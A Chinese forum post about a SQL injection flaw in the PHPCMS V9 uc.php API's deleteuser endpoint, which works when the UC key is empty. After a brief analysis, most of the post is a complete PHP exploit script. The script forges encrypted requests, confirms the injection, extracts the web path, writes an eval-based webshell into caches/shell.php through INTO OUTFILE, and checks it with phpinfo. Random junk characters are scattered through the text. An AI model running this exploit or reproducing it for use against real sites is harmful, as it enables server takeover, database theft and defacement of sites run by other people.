找回密码
 立即注册
查看: 2123|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。7 x5 `7 X: u: d/ U4 m
7 H. o% {2 [3 k" c3 r
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。1 T7 r" Z, \% i+ ~
; J- }  N+ \5 ?% a+ J) G2 e
漏洞分析:' X8 x  X& R) B# o
1.未启用ucenter服务的情况下uc_key为空9 @, ?; t  D8 u8 Q( N  Z0 |
define('UC_KEY', pc_base::load_config('system', 'uc_key'));2 j! A6 V& G& R( L5 g6 M$ o
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
! O7 n, V9 A% J# _    public function deleteuser($get,$post) {2 {3 r9 F: B; b' L8 q4 g2 R1 o- T
        pc_base::load_app_func('global', 'admin');
6 C; i0 A% |" ~0 [5 W        pc_base::load_app_class('messagequeue', 'admin' , 0);' T* f$ I( e0 e4 X6 b3 e3 j. r
        $ids = new_stripslashes($get['ids']);- |# {2 R* h3 l6 i
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
8 x! z/ r% }, hSQL语句为
8 K- e0 c  d1 t# kSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
+ |( {$ e. Y+ V4 f( K+ D) c, Y) w: o7 h+ o
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell% K4 w6 e0 g9 l8 c5 Z6 c5 K! p
<?php
7 C2 B& D4 k3 V( }; sprint_r(', v* t! L! l3 \5 j
---------------------------------------------------------------------------
6 l5 R- f- F4 q) z4 [+ U6 iPHPcms (v9 or Old Version) uc api sql injection 0day. L0 w5 d9 k3 c2 X. B5 [
by rayh4c#80sec.com
! W; v  h* r) G---------------------------------------------------------------------------4 f. S3 l; F: ~- d; X$ S
');
- S$ k$ ^  m2 x! k9 ?6 P) H- v* D, C: c+ g; B3 d$ j
if ($argc<3) {( o$ ^- ~  T: g1 d
    print_r('
1 G/ V2 b8 ^: [( R0 J/ E% I7 v) O---------------------------------------------------------------------------
; C7 y6 ]3 e; I, MUsage: php '.$argv[0].' host path OPTIONS
4 W* E* q; O2 t8 J+ Ahost:      target server (ip/hostname)
2 j. i& d3 T5 c& m& h7 x- ypath:      path to phpcms: o8 T; \- F6 ?. I7 ?
Options:
. ^/ @* E* @: C: A! G- M -p[port]:    specify a port other than 80, @6 x7 v$ @7 d& K, u2 l/ o
-P[ip:port]: specify a proxy
% e) ~0 w7 U3 ?" tExample:5 k$ r0 r0 `0 D( l& S0 @
php '.$argv[0].' localhost /, ^5 L( s4 a' r
php '.$argv[0].' localhost /phpcms/ -p81
4 q: {5 l' ~- \* l3 v. hphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
4 Q* w2 K  m& N  [3 j. @8 I& s---------------------------------------------------------------------------
: J  j. V$ Y3 b. N7 o: }  I0 d');4 f( W: [) ^7 y7 ^
    die;9 G( C" Q5 u. D; L
}# E8 S2 i/ n: V; t

& b6 `6 [. \$ X  }error_reporting(7);1 G% S, Z1 S$ ], |6 i  G2 C
ini_set("max_execution_time",0);
  C& r+ x# I5 P& tini_set("default_socket_timeout",5);
: S. j# \- m8 T4 a. O$ _5 `; a. t3 I2 ?  y4 U! d9 V0 j; W
function quick_dump($string)
8 R1 p2 g$ S; K, c; S3 N. @3 B{; E# b4 C3 Z1 O7 S; i
  $result='';$exa='';$cont=0;" z8 b$ I' R! z! _
  for ($i=0; $i<=strlen($string)-1; $i++)
, C% ?* g/ q" L+ x+ s, Z/ X  {
- Z$ v0 _/ h# Z3 g7 l; V( R   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ _  w& l+ P" ^0 r! z* y   {$result.="  .";}
" j2 M1 l8 I3 u4 E+ m   else
+ S! k$ F" e& F  Y   {$result.="  ".$string[$i];}8 y! V- @# _+ g2 S% D1 j
   if (strlen(dechex(ord($string[$i])))==2)
% `; j2 K( ^& z. }9 h   {$exa.=" ".dechex(ord($string[$i]));}) i7 T/ _& r$ c
   else: c5 R: X0 u% O5 b1 G' f3 \( ]
   {$exa.=" 0".dechex(ord($string[$i]));}8 }1 @8 `2 @7 g+ i
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
. n5 y9 ]$ b/ ^2 k8 t2 B: X+ Q& X  }/ _: [1 `5 f- c& m: ?0 S) i. m
return $exa."\r\n".$result;
- J* X, y, x5 G4 K: {8 I3 L0 |) f; w% F}% E! H& C# E( y+ s$ W2 S
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& o2 D' _% Y: K3 e  n- x# H
: T9 v% w1 k6 z6 I# o' j7 n2 \/ B3 P
function send($packet)
. ?& D' j: c* N{
9 w1 n! Y% l! F2 l  v0 r8 _  global $proxy, $host, $port, $html, $proxy_regex;
; \7 c3 J8 f. ]" R, [& |6 |0 R' P( C+ Q  if ($proxy=='') {2 x4 ?; x% R# R; |) e
    $ock=fsockopen(gethostbyname($host),$port);
8 e/ V! S# z3 A( F4 B9 e: G! H    if (!$ock) {
5 n/ @5 v; F' \' r6 Y2 E+ |& w      echo 'No response from '.$host.':'.$port; die;
' ?7 R5 ?6 |  h+ h; A    }
' s3 r$ y! N, U5 ^" Q  }
+ W5 Z0 q' e  q7 k8 h  else {* m7 ~+ c; g3 B  {
        $c = preg_match($proxy_regex,$proxy);6 S1 c) R9 w3 d  N: |) s
    if (!$c) {: Q* `+ U% N" i
      echo 'Not a valid proxy...';die;
- t" g* {0 {1 K    }
! I9 q7 p! W- I3 n# O5 I) i; J    $parts=explode(':',$proxy);1 h" O% v) n- I7 U
    $parts[1]=(int)$parts[1];7 G  e# }. x0 d1 d" g4 f5 V
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";# a7 b% a. ~: p: i4 `
    $ock=fsockopen($parts[0],$parts[1]);4 Z# j% q, _3 Y# P
    if (!$ock) {
+ g. d- J( n8 E9 @$ r      echo 'No response from proxy...';die;
# d% k# Q3 s) J" [4 {! Y        }
! d9 _, k5 ?( ~: N3 Y, f# I  }( Z6 U3 h# }' Q2 |% R
  fputs($ock,$packet);; S/ Y& M/ D2 {' t  E" N9 H
  if ($proxy=='') {
7 u2 v) z3 d9 R) g) P    $html='';1 ?% ]9 C+ j7 N% n  R. h" j, ]2 F
    while (!feof($ock)) {% ^* Z9 O: e2 A: J1 q, a
      $html.=fgets($ock);
0 m) \( [/ V( e; Z4 ?4 e    }" M; C/ I8 m0 \! b
  }$ X% S3 f4 C4 a  X. N5 x
  else {' @2 U" v, e1 |6 v6 E, c
    $html='';  Q- p' K: I, e; Q! s5 _& E
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  k8 z9 e$ ~8 L/ _' H" j      $html.=fread($ock,1);; X0 M; O0 P0 I
    }
1 W' N  y( n& F( F  }
. Y3 J7 J9 M' g+ V4 h& w  fclose($ock);6 y% C" h' ~- i& k
}) O, I; P  @: _6 i5 \

9 y6 e- \5 |+ E" |- t  r( }9 I$host=$argv[1];
7 A9 l% m: _7 h  u$path=$argv[2];# S5 E) _5 C: {) S
$port=80;3 w& P) B2 U5 F% j9 x
$proxy="";
' ?/ d2 k2 g* M/ y! Vfor ($i=3; $i<$argc; $i++){, g, S. H9 k# U* z" J2 `
$temp=$argv[$i][0].$argv[$i][1];
% t7 e/ T  A, Nif ($temp=="-p")
; s' E: Z$ R0 ^( l' n; @{6 B( s7 U) p1 ~6 M% c
  $port=(int)str_replace("-p","",$argv[$i]);+ _7 g9 M" D8 t- m( M4 v
}
2 l* a; n% W9 ?0 Zif ($temp=="-P")5 K9 F6 Y  L$ x) X3 G
{
8 h1 a% j3 t3 O8 J- D  $proxy=str_replace("-P","",$argv[$i]);! g/ `4 ^) y! g& P1 w
}
( ^7 P# J$ k: M8 X8 R0 o}: H$ b. }* `4 P0 \: _

; g0 n5 j1 @# Z5 Zif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}. @8 ^9 y" w% L
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}3 r3 H/ o# S5 _- i+ s" G' a* F! |

" S: \! j) ~! Ufunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. F8 X4 a9 _2 |/ ]+ z( g* p4 v+ \
# a) r, A9 M, I3 _8 B    $ckey_length = 4;& T; L3 I; ~5 Z, |: f0 }1 `
$ L* b8 b: W' K; r; c! D
    $key = md5($key ? $key : '');6 a) R# V2 a) r- ]7 Z
    $keya = md5(substr($key, 0, 16));
- \" L( Z& Z% k. R- c2 M5 R    $keyb = md5(substr($key, 16, 16));& G6 {' R) a; j% @+ V) I" |8 U
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';2 T( E9 L$ E$ h! e) Y" H

. q1 T# U2 n9 _    $cryptkey = $keya.md5($keya.$keyc);
9 z3 U5 ~$ E& F' n! d    $key_length = strlen($cryptkey);/ _/ T5 O) t) u. v+ H
" \" q4 Q+ g( g) j# D
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
. D5 w9 `& q/ A. h6 S    $string_length = strlen($string);
, R8 n5 x- ^6 E1 Z
/ {) e- S4 H) U) F1 `    $result = '';
; L  ~0 D- Q2 B/ \2 D+ I    $box = range(0, 255);
3 F& t# I7 F: c. o8 l+ E" T" M" [1 ~( v& [4 l5 C/ v9 C" B* |- a# v2 W
    $rndkey = array();
$ g5 x# m0 G6 k7 N/ l    for($i = 0; $i <= 255; $i++) {
5 c4 V2 l. S( U% r- B$ O" G        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
6 q3 F5 e7 s6 {; P" F    }+ J' F1 n$ {# d1 j
# h+ j7 _& Z3 x
    for($j = $i = 0; $i < 256; $i++) {4 O7 k$ i: s) P' ?% }6 ]
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: w. H4 A& k) X* a( p( y. C3 s5 B0 P        $tmp = $box[$i];# g% l) \& k- @8 r
        $box[$i] = $box[$j];" _9 m0 T: G5 C8 Y
        $box[$j] = $tmp;
$ q4 A3 V: W6 l- m+ ]; l  n    }
9 ]$ e4 D# L. R  c* m
* f) X: X4 Q: o2 Z6 `    for($a = $j = $i = 0; $i < $string_length; $i++) {  w/ d9 R/ B3 m; T1 P4 J
        $a = ($a + 1) % 256;
; }$ Z# i; @4 @2 z% d: R$ [        $j = ($j + $box[$a]) % 256;
4 A1 s* I' r% N, r% g: v5 `4 s        $tmp = $box[$a];6 Q& S4 a- c9 B
        $box[$a] = $box[$j];) b  z6 f  G# F1 a
        $box[$j] = $tmp;6 I1 ^7 o' {1 y7 Z
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));$ Y1 u2 `8 b9 @
    }
. ?, q2 q% h+ q3 ^7 X5 J9 X1 e- {
% g  T! X( w0 M7 |* z! ?, H% j: `( l/ B    if($operation == 'DECODE') {4 D; z* o5 R" ~5 _5 a
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
/ l/ |" p' `1 N! t3 T6 n8 S9 M            return substr($result, 26);
+ j' M* b' L* }( `( ?        } else {
8 l# G- s- K$ N2 A+ l; n            return '';
3 ^$ ^2 m$ v# ]% w( t5 [9 r        }
, ~+ U8 @1 e# d( `/ e' _6 h    } else {# f; G3 G1 Y: ^7 e  w( T
        return $keyc.str_replace('=', '', base64_encode($result));
' `# u. m- m8 n8 K( l4 C    }3 W; J4 d& A5 O/ L+ g; C! G, |
. r$ \! h9 Z, r. p! k
}% O, Z! Y, ^+ u% y4 T; O. K

& q2 p! X" I6 {2 U$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
! [  N7 G6 O- B/ P+ Y2 O: }$SQL = urlencode(authcode($SQL, "ENCODE", ""));" N0 _, x% U) t: r
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
5 z7 G7 M' S! ^$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; F% @$ F/ U  n" |* F# s6 x% g$packet.="User-Agent: Mozilla/5.0\r\n";  U4 B& E7 Q2 V6 z0 U" M
$packet.="Host: ".$host."\r\n";( P" j) S, ?- r7 w3 M% ?
$packet.="Connection: Close\r\n\r\n";! Y8 Y! Z8 J) T2 ?# z, z: R. _
send($packet);
1 S; J/ i9 l* j; ?& W$ ^* N; Eif(strpos($html,"MySQL Errno") > 0){
% J9 x0 C* ^* vecho "[2] 发现存在SQL注入漏洞"."\n";
) o1 ?4 Z, q8 P$ P) J4 mecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";9 m; F# _4 b- W- O: ?
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
/ ], K4 m' S+ ~) ~# @$packet.="User-Agent: Mozilla/5.0\r\n";
0 n) ^  p* e& f( c) J% ]$ |$packet.="Host: ".$host."\r\n";0 Y( ]1 P) J: R/ r6 u" S/ p
$packet.="Connection: Close\r\n\r\n";- q0 D# h' Z4 v) _" I# R9 M2 w' b
send($packet);
  i# r- w2 w6 `, c, p8 xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
5 _. \" Y0 y7 s' W3 T6 s//print_r($matches);7 P4 b/ [% v- [+ L
if(!empty($matches)){- v/ W2 m9 V+ ^$ r" u8 G
echo "[4] 得到web路径 " . $matches[0]."\n";
: w% r* G' j4 Iecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! s, k, L6 c7 Y
$SQL = "time=999999999999999999999999&ids=1)";
1 ]0 P+ {& [( Z& u" O$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";+ |9 t7 c+ ^: q' V+ C" L
$SQL.="&action=deleteuser";* v+ s3 [5 k4 }( k
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
, }: m( N- @# d0 y2 }0 @/ }echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ B: e* R- p, l3 U; N. [& @$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
' b! s7 N8 U" }! |4 x. x% R3 _$packet.="User-Agent: Mozilla/5.0\r\n";
$ n, K  g4 P6 x) s1 W$packet.="Host: ".$host."\r\n";/ h1 o; P2 j3 @1 D
$packet.="Connection: Close\r\n\r\n";
/ o* C. C9 ?/ s0 J. Msend($packet);
, w4 {; A7 c8 M5 ]: }& sif(strpos($html,"Access denied") > 0){
1 S9 F" i0 _+ Pecho "[-] MYSQL权限过低 禁止写入文件 ";8 a8 M$ S. ~4 \6 M& }7 f1 @2 Y- H: l
die;
& b5 x9 i" D1 b1 X  J6 F; h}
$ s1 Y$ _  B3 S' J! _) ?echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 K; K; Z! p& `6 e: \! X% n
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
% h5 H  T& b% |' A$ Z7 P$packet.="User-Agent: Mozilla/5.0\r\n";! `( c8 d* X! b; n% d0 P
$packet.="Host: ".$host."\r\n";
$ _9 X4 T# J9 a7 K  ?' x& E/ C1 l$packet.="Connection: Close\r\n\r\n";& {, u/ c6 T- B) c0 y
send($packet);, M6 Q, K. Z/ n5 S  i9 \
if(strpos($html,"<title>phpinfo()</title>") > 0){
& M( s9 }% Y* [. V8 C+ F" T  Recho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 i" _) r5 j; e: m1 B6 i$ j
}
( E5 _: W3 \, `2 T4 a& W7 f}else{4 r" {- @7 x  ^" Z# U2 {2 n
echo "[-]未取到web路径 ";
' k! u# K6 Z1 K/ p}
% B8 m  o0 t5 P. [}else{
! A! o9 R$ u, Y( z) hecho "[*]不存在SQL注入漏洞"."\n";( d& ]7 E' B6 v0 n
}
4 v3 `$ _  y' O* M4 Z
0 @- S& s( ?6 O?>8 ]& p: n+ U( P1 U& l& l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表